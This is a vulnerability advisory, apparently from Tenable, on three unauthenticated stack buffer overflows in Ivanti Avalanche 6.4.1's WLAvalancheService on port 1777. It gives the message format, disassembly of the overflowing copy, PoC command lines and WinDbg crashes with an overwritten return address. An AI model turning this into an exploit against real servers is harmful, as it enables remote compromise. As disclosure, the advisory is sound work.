Multiple vulnerabilities exist in Ivanti Avalanche v6.4.1 WLAvalancheService.exe.CVE-2023-41727 - MuProperty type 100 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:// be = big-endian strut msg { preamble pre; hp hdrpay; }; struct preamble { be32 MsgSize; // size of hp + 16 be32 HdrSize; // size of hp.hdr be32 PayloadSize // size of hp.payload be32 unk; }; // header + payload struct hp { MuProperty hdr[]; // hdr as array of MuProperty structure(s) MuProperty payload[]; // payload as array of MuProperty structure(s) byte pad[]; // zero-padded to 16-byte boundary }; struct MuProperty { be32 type; // property type, valid: 1-9, 100-102 be32 NameSize; be32 ValueSize; byte name[NameSize]; byte value[ValueSize]; // format depends on @type // 3 - hex string // 9 - list of decimal strings separated by ; // 100-102 - list of tokens separated by ; };When processing a MuProperty type 100, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 100 to overflow the buffer. The following code snippet shows vulnerability:// WLAvalancheService.exe in Avalanche v6.4.1 [...] .text:0042AF00 mov ecx, [ebp+TokenSize] ; attacker-controlled token size .text:0042AF03 mov esi, [ebp+pbToken] ; attacker-controlled token data .text:0042AF06 lea edi, [ebp+buf80] ; fixed-size stack buf -> .text:0042AF06 ; stack overflow !!! .text:0042AF0C mov eax, ecx .text:0042AF0E shr ecx, 2 .text:0042AF11 memcpy .text:0042AF11 rep movsd .text:0042AF13 mov ecx, eax .text:0042AF15 and ecx, 3 .text:0042AF18 rep movsb [...]PoC:python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 1 Attempting to overflow a stack-based buffer using MuProperty type 100... Traceback (most recent call last): File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module> res = recv_msg(s) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg data = recvall(sock, 0x10) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall packet = sock.recv(n - len(data)) ConnectionResetError: [Errno 104] Connection reset by peer Sample crash in WinDbg: 0:059> g (102c.29dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe eax=00001000 ebx=025ab100 ecx=000002a2 edx=00000000 esi=0274ee11 edi=04cc0000 eip=0042af11 esp=04cbfa4c ebp=04cbfb1c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 WLAvalancheService+0x2af11: 0042af11 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:041> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 04cbfb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2af11 01 04cbfb20 41414141 41414141 41414141 41414141 0x41414141 02 04cbfb24 41414141 41414141 41414141 41414141 0x41414141 03 04cbfb28 41414141 41414141 41414141 41414141 0x41414141 [...]CVE-2023-46216 - MuProperty type 101 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)When processing a MuProperty type 101, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 101 to overflow the buffer. The following code snippet shows vulnerability:// WLAvalancheService.exe in Avalanche v6.4.1 [...] .text:0042B1A7 mov ecx, [ebp+TokenSize] ; attacker-controlled token size .text:0042B1AA mov esi, [ebp+pbToken] ; attacker-controlled token data .text:0042B1AD lea edi, [ebp+buf80] ; fixed-size stack buf -> .text:0042B1AD ; stack overflow !!! .text:0042B1B3 mov eax, ecx .text:0042B1B5 shr ecx, 2 .text:0042B1B8 memcpy .text:0042B1B8 rep movsd .text:0042B1BA mov ecx, eax .text:0042B1BC and ecx, 3 .text:0042B1BF rep movsb [...]PoC:python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 2 Attempting to overflow a stack-based buffer using MuProperty type 101... Traceback (most recent call last): File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module> res = recv_msg(s) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg data = recvall(sock, 0x10) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall packet = sock.recv(n - len(data)) ConnectionResetError: [Errno 104] Connection reset by peer Sample crash in WinDbg: 0:060> g (259c.17e8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe eax=00001000 ebx=025c8a68 ecx=000002a2 edx=00000001 esi=02765621 edi=04f60000 eip=0042b1b8 esp=04f5fa4c ebp=04f5fb1c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 WLAvalancheService+0x2b1b8: 0042b1b8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:042> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 04f5fb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2b1b8 01 04f5fb20 41414141 41414141 41414141 41414141 0x41414141 02 04f5fb24 41414141 41414141 41414141 41414141 0x41414141 03 04f5fb28 41414141 41414141 41414141 41414141 0x41414141 [...]CVE-2023-46217 - MuProperty type 102 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)When processing a MuProperty type 102, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 102 to overflow the buffer. The following code snippet shows vulnerability:// WLAvalancheService.exe in Avalanche v6.4.1 [...] .text:0042B27D mov ecx, [ebp+TokenSize] ; attacker-controlled token size .text:0042B280 mov esi, [ebp+pbToken] ; attacker-controlled token data .text:0042B283 lea edi, [ebp+buf80] ; fixed-size stack buf -> .text:0042B283 ; stack overflow !!! .text:0042B289 mov eax, ecx .text:0042B28B shr ecx, 2 .text:0042B28E memcpy .text:0042B28E rep movsd .text:0042B290 mov ecx, eax .text:0042B292 and ecx, 3 .text:0042B295 rep movsb [...]PoC:python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 3 Attempting to overflow a stack-based buffer using MuProperty type 102... Traceback (most recent call last): File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module> res = recv_msg(s) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg data = recvall(sock, 0x10) File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall packet = sock.recv(n - len(data)) ConnectionResetError: [Errno 104] Connection reset by peer Sample crash in WinDbg: 0:060> g (2a44.1f28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe eax=00001000 ebx=025cbc48 ecx=000002a2 edx=0275ab2a esi=0275a0a1 edi=04f60000 eip=0042b28e esp=04f5fa4c ebp=04f5fb1c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 WLAvalancheService+0x2b28e: 0042b28e f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:044> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 04f5fb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2b28e 01 04f5fb20 41414141 41414141 41414141 41414141 0x41414141 02 04f5fb24 41414141 41414141 41414141 41414141 0x41414141 03 04f5fb28 41414141 41414141 41414141 41414141 0x41414141 [...]
This Cyber News was published on www.tenable.com. Publication date: Tue, 19 Dec 2023 08:46:03 +0000